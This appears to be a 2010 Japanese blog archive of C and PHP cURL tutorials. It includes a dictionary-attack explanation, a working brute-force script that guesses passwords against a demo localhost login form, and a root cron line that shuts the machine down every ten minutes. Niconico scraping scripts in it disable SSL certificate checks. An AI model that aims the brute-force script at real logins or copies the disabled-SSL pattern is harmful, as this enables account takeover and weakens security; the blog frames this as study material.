ページ

2010年6月25日金曜日

[C言語][cURL]辞書攻撃の例

このエントリーをはてなブックマークに追加

辞書攻撃とは?:
辞書に記載された単語を利用して特定文字列を推察する方法
wikipedia参照

1.辞書は自分で用意する。
例) Lyrycal Nanoha Fate
2.辞書にある単語を組み合わせる or 単体
例) LyrycalNanohaFate LyrycalNanoha Nanoha
3.前回の記事の変数iの中身を(2)で出来た単語に変える。

[C言語][cURL] 総当り攻撃(ブルートフォースアタック)の例

このエントリーをはてなブックマークに追加

総当り攻撃(ブルートフォースアタック)とは?:
暗号解読方法のひとつで、可能な組み合わせを全て試すやり方。wikipedia参照


注意:
1.ご自身のページにアタックしてくだい。
2.簡単な作りになっているため、ご自分のページに合うように調整してください。
3.絶対に悪用しないでください。セキュリティの勉強用です。

cURLライブラリの使い方等は過去の記事をご覧ください。





//====================================
// Auth.php
//====================================
<?php

if($_POST['Auth'] === "12345"){
print("A".$_POST['Auth']);
}

?>

<form action="Auth.php" method="post">
<input type="password" name="Auth">
<input type="submit" value="send">
</form>





//====================================
// brute_force_attack.c
//====================================
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<curl/curl.h>

int flag;

size_t func(void *, size_t, size_t, void *);



int main(void){

char post[256];
size_t i = 0;

CURL * curl;
CURLcode res;

flag = 0;

curl = curl_easy_init();

while(1){

usleep(100);

sprintf(post, "Auth=%u", i);

curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/Auth.php");

/* POST METHOD Auth=[]を送る */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);

/* CALLBACK */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);

res = curl_easy_perform(curl);

printf("%u\r", i);

if(flag){
printf("\n");
break;
}

i++;
}

curl_easy_cleanup(curl);

return 0;
}



size_t func(void * ptr, size_t size, size_t nmemb, void * stream){

char str[65536];

memcpy(str, ptr, size * nmemb);

if(str[0] == 'A'){
flag = 1L;
return 0L;
}

return nmemb;
}

2010年6月22日火曜日

[C言語][cURL] 文字列を取り出す

このエントリーをはてなブックマークに追加

1.とりあえず文字列を取り出したい人用です。エラー処理は皆無です。エラー処理もしたい方は参考URLを参照してくだい。
2.C言語でcURLライブラリを使用したい方は[Ubuntu 10.04] C言語 cURLライブラリを使うを参照してくだい。


//================================================

#include<stdio.h>
// memcpy()
#include<string.h>
#include<curl/curl.h>

char buf[65536];
size_t po;

// fwrite or freadにそっくり
size_t func(void *, size_t, size_t, void *);

int main(void){

CURL * curl;
CURLcode res;

po = 0;

curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://localhost/www.yahoo.co.jp");
// CALLBACK
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, func);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);

// res(unsigned int) 0以外はErrorCode
if(!res){
printf("%s\n", buf);
}

return 0;
}

size_t func(void * ptr, size_t size, size_t nmemb, void * stream){

// debug用
// printf("%s", (char *)ptr);

memcpy(buf+po, ptr, size * nmemb);
po += size * nmemb;
*(buf + po) = '\0';

return nmemb;
}

//================================================


参考URL
libcurl - C API
cURL と libcurl を使ってインターネット経由でやりとりする

2010年6月20日日曜日

[Ubuntu 10.04][cron] 自動的にC言語プログラム(実行ファイル)読み込む注意点?

このエントリーをはてなブックマークに追加

//===============================================
// crontabをeditorで開く
//===============================================
sudo gedit /etc/crontab


//===============================================
// root権限でShellScriptを1分毎に実行
//===============================================
# m h dom mon dow user command
# [user name]は存在する名前に変更してください。
00-59 * * * * root sh /home/[user name]/test.sh


//===============================================
// test.sh (Cファイルのコンパイル and 実行)
//===============================================
#!/bin/sh
# [user name]は存在する名前に変更してください。
gcc -o /home/[user name]/test /home/[user name]/test.c
/home/[user name]/./test


//===============================================
// test.c
//
// while()内でprintf()関数を使用したところ動作に不具合が生じました。
// debug用に付ける出力関数はコメントアウトすべき!?
//
// コンパイルする際はfopen()関数第1引数[user name]を存在する名前変更してください。
//===============================================
#include<stdio.h>
// strlen()
#include<string.h>
// time()
#include<time.h>
// usleep()
#include<unistd.h>

int main(void){

FILE * fp;
char data[256] = "TEST ";
time_t timer;
size_t t;

t = time(&timer);
// [user name]を変更してください。
fp = fopen("/home/[user name]/conf", "wb");

while(1){

// コメントアウトしないと不具合が起こる?
// printf("debug用");

fwrite(data, 1, strlen(data), fp);

// プロセス渡し
usleep(100);

if(t + 10 <= time(&timer)){
break;
}
}

fclose(fp);

return 0;
}

[Ubuntu 10.04][cron] 自動的にShellScriptを読み込む

このエントリーをはてなブックマークに追加

//===============================================
// crontabをeditorで開く
//===============================================
sudo gedit /etc/crontab


//===============================================
// root権限で10分毎にシャットダウンする。(ちゃんと動作するか確認)
//===============================================
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
# この下に自動的に実行したい時間とコマンドを記入
00,10,20,30,40,50 * * * * root shutdown -h now


//===============================================
// root権限でShellScriptを1分毎に実行
//===============================================
# m h dom mon dow user command
# [user name]は存在する名前に変更してください。
00-59 * * * * root sh /home/[user name]/test.sh

//===============================================
// test.sh
//===============================================
#!/bin/sh
# [user name]は存在する名前に変更してください。
cp /home/[user name]/test.sh /home/[user name]/test.cp


参考URL
cronとは
crontabの書き方

2010年6月16日水曜日

[Ubuntu 10.04] C言語 cURLライブラリを使う

このエントリーをはてなブックマークに追加

//==============================================
// 最新版のCURLの圧縮ファイルをDOWNLOAD
// 2010/6/16現在
/===============================================
http://curl.haxx.se/latest.cgi?curl=tar.gz
curl-7.20.1.tar.gz


/===============================================
// 解凍
//==============================================
tar xvzf curl-7.20.1.tar.gz


//==============================================
// インストール
// /usr/local/ にインストールされる
//==============================================
curl-7.20.1$ ./configure
curl-7.20.1$ sudo make
curl-7.20.1$ sudo make install


//==============================================
// 実験するディレクトリを作成し、そこにlibをコピーする
//==============================================
$ mkdir curl
$ sudo cp ../../usr/local/lib/libcurl.so curl


//==============================================
// ソースを書く(curl.c)
// /home/[user name]/curl/の中に作る
//==============================================
#include<stdio.h>
#include<curl/curl.h>

int main(void){

CURL * curl;
// cURLリソースの開放
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "http://www.yahoo.co.jp");
// 要求した内容の表示
curl_easy_perform(curl);
// cURLリソースの開放
curl_easy_cleanup(curl);

return 0;
}


//==============================================
// コンパイル and 実行
//==============================================
curl$ gcc -o curl curl.c -l curl
       または
curl$ gcc -o curl curl.c libcurl.so

// pathが通ってるか確認
curl$ ldd curl
// pathが通っていなければ
curl$ export LD_LIBRARY_PATH='$LD_LIBRARY_PATH:/usr/local/lib/'
// 実行
./curl


参考ページ
・【C 言語】ダイナミックリンクライブラリ(共有ライブラリ)の作成

2010年6月6日日曜日

[PHP][cURL] ニコニコ生放送のコメント取得

このエントリーをはてなブックマークに追加

・デバックを取りながらやるとわかりやすいと思います。
・ソースはコピーペースとでメモ帳などに貼り付けてみたほうがみやすいです。
・ proxy接続の場合はCURLOPT_PROXY等でGoogleに投げてみてください。
・ソースコードの悪い部分があったら指摘していただけると助かります。


========================================
<html>
<head>
<!-- <meta http-equiv="Refresh" content="0"> -->
</head>

<?php

$CookieFile = "cookie.txt";
$lv = ""; // lv*********
$login_url = "https://secure.nicovideo.jp/secure/login?site=niconico";
$getflv_url = "http://live.nicovideo.jp/api/getplayerstatus?v=".$lv;
// mail address and password
$param = Array("mail"=>"", "password"=>"");


// Login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_COOKIEJAR, $CookieFile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
curl_exec($ch);
curl_close($ch);


// GetFlv
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $getflv_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $CookieFile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$output = curl_exec($ch);
curl_close($ch);


if(preg_match("/(<end_time>)/", $output)){
print("この放送は終了しています!<br>\n");
}
else if(preg_match("@(<code>closed</code>)@", $output)){
print("この放送は終了しています。<br>\n");
}
else if(preg_match("@(<code>comingsoon</code>)@", $output)){
print("この放送はまだ始まっていません。<br>\n");
}
else if(preg_match("@(<code>notfound</code>)@", $output)){
print("not found<br>\n");
}


preg_match("/(<thread>)([0-9]+)/", $output, $thread);
preg_match("/(<addr>)([^<]+)/", $output, $ms);
preg_match("/(<port>)([0-9]+)/", $output, $port);

$MXML = "<thread thread=\"{$thread[2]}\" version=\"20061206\" res_form=\"-1\">\0";


$fp = fsockopen($ms[2], $port[2], $errno, $errstr, 1);

$comment = "";
$StartTime = time();
$flag = FALSE;

if($fp){
fwrite($fp, $MXML);
while (TRUE){

$buf = fread($fp, 65535);
$comment .= $buf;

if($comment && !$flag){
$flag = TRUE;
$EndTime = time();
}

if(time() - $EndTime >= 5){break;}
// Time Outが60secなので55sec以上立つとループから抜ける
else if(time() - $StartTime >= 55){break;}

}
}
fclose($fp);

// $commentの中に文字列が入っているので、これを使用用途によって変える
print($comment);

?>

</html>
========================================
以上のソースコードはBSDライセンスです。
Copyright (C) 2010 raisana



・参考サイト

PHP-CLIでニコ生コメントビューア
ニコニコ動画API: getflvとコメントの取得

2010年6月3日木曜日

[PHP][cURL] ニコニコ動画のコメントを抽出する

このエントリーをはてなブックマークに追加

・デバックを取りながらやるとわかりやすいと思います。
・ソースはコピーペースとでメモ帳などに貼り付けてみたほうがみやすいです。
・proxy接続の場合はCURLOPT_PROXY等でGoogleに投げてみてください。
・ソースコードの悪い部分があったら指摘していただけると助かります。

1.ログインする
2.http://ext.nicovideo.jp/api/getflv/smxxxxに接続する(接続に成功した場合は$outputにthread_id= ~ というStringが格納される)
3.http://ext.nicovideo.jp/api/getflv/smxxxxからthread_idとmsのurlを抜き出す
4.message serverにpostするStringを作成する
5.message serverに4で作成しStringをpostする。

===========================================

<?php

define("res", -1 * 50); // 取り出すコメントの量(50)

$VideoId = "smxxxxxx"; // 動画ID
$login_url = "https://secure.nicovideo.jp/secure/login?site=niconico"; // ニコニコログインURL
$getflv_url = "http://ext.nicovideo.jp/api/getflv/".$VideoId; // GetFlvURL
$param = Array(
"mail"=>"your mail address",
"password"=>"your password"
); // mail, password
$cookiefile = "cookie.txt"; // save cookie

//=========================================================
// cURLで接続するクラス
//=========================================================
class Connect{

// cURLリソース
private $ch;
// parameters
private $param = Array();
// option
private $option = Array();
// ThreadId
private $ThreadId;
// MessageServer
public $ms;
// MessageXML;
private $MXML;

//===========================================
// コンストラクタ
// 引数
// $param : mail address と passwordの保持
//===========================================
public function __construct($param = Array()){
$this->param = $param;
}

//===========================================
// cURLリソースを開放する
//===========================================
public function Release(){
curl_close($this->ch);
}

//=====================================================
// Settings()の設定
// 引数
// 第一引数 : SSLを有効にするかどうか
// 第二引数 : CookieFileを保存するかどうか
// 第三引数 : CookieFileを読み込むかどうか
// 第四引数 : Postするかどうか(1=LOGIN, 2=Get Comment)
// 第五引数 : GetFlvに接続するかどうか
//=====================================================
private function SettingOption($SSL, $CookieFile, $CookieColl, $Post, $GetFlv){
$this->option['SSL'] = $SSL;
$this->option['CookieFile'] = $CookieFile;
$this->option['CookieColl'] = $CookieColl;
$this->option['Post'] = $Post;
$this->option['GetFlv'] = $GetFlv;
}


//===========================================
// URLに接続
// 引数
// 第一引数 : URLを指定してCURLのリソースを作成する
//===========================================
public function ConnectURL($url){
$this->ch = curl_init();
curl_setopt($this->ch, CURLOPT_URL, $url);
}


//===========================================
// 接続設定 HTTP / COOKIE等
//===========================================
public function Settings($SSL = TRUE, $CookieFile = NULL, $CookieColl = FALSE, $Post = FALSE, $GetFlv = FALSE){

$this->SettingOption($SSL, $CookieFile, $CookieColl, $Post, $GetFlv);

if(!$this->option['SSL']){
// SSL認証をしない。
curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, FALSE);
}

if($this->option['CookieColl']){
// COOKIEを呼び出す。
curl_setopt($this->ch, CURLOPT_COOKIEFILE, $this->option['CookieFile']);
}

if($this->option['CookieFile']){
// COOKIEを保存する。
curl_setopt($this->ch, CURLOPT_COOKIEJAR, $this->option['CookieFile']);
}

// USER_AGENTを要求する
curl_setopt($this->ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
// 接続する時間(0で永遠に接続)
curl_setopt($this->ch, CURLOPT_CONNECTTIMEOUT, 0);
// TRUEで出力を文字列とする
curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, TRUE);

if($this->option['Post']){
// TRUEでPOST経由で送る
curl_setopt($this->ch, CURLOPT_POST, TRUE);
// LOGIN
if($this->option['Post'] == 1){
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $this->param);
}
// Get Message
else{
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $this->MXML);
}
}
}

//===========================================
// 出力
// 引数
// 第一引数 : コメント数 -1~-1000
//===========================================
public function OutPut($res = 0){

$output = curl_exec($this->ch);

// Get thread_id and messageserver
if($this->option['GetFlv']){

// thread_idを抜き出す
preg_match("/[0-9]+/", $output, $ThreadId);
$this->ThreadId = $ThreadId[0];
// メッセージサーバーのURLを抜き出す
preg_match("/(ms=)([^&]*)/", $output, $ms);
$this->ms = $ms[2];
// encodeされたURLをdecodeする
$this->ms = urldecode($this->ms);
// 通常コメントを取得する時にPOSTするxml
$this->MXML = "<thread thread=\"{$this->ThreadId}\" version=\"20061206\" res_from=\"{$this->res}\" >";

}


// OutPut XML Value
if($this->option['Post'] == 2){
// XMLをArray()に変換する
$xml_parser = xml_parser_create();
xml_parse_into_struct($xml_parser,$output,$vals);
xml_parser_free($xml_parser);

// resで指定した分だけコメントを取り出す
for($i = 4 ; $i < (-1 * $res) + 4; $i++){ print_r($vals[$i]['value']."<br>\n"); } } } } $cURL = new Connect($param); $cURL->ConnectURL($login_url);
$cURL->Settings(FALSE, $cookiefile, FALSE, 1);
$cURL->OutPut();
$cURL->Release();

$cURL->ConnectURL($getflv_url);
$cURL->Settings(TRUE, $cookiefile, TRUE, FALSE, TRUE);
$cURL->OutPut(res);
$cURL->Release();

$cURL->ConnectURL($cURL->ms);
$cURL->Settings(TRUE, FALSE, FALSE, 2);
$cURL->OutPut(res);
$cURL->Release();

$cURL = NULL;

?>

===========================================
以上のソースコードはBSDライセンスです。
Copyright (C) 2010 raisana

・参考サイト

ニコニコ動画API: getflvとコメントの取得
Getflv - ニコニコ動画(API) - Cathode Music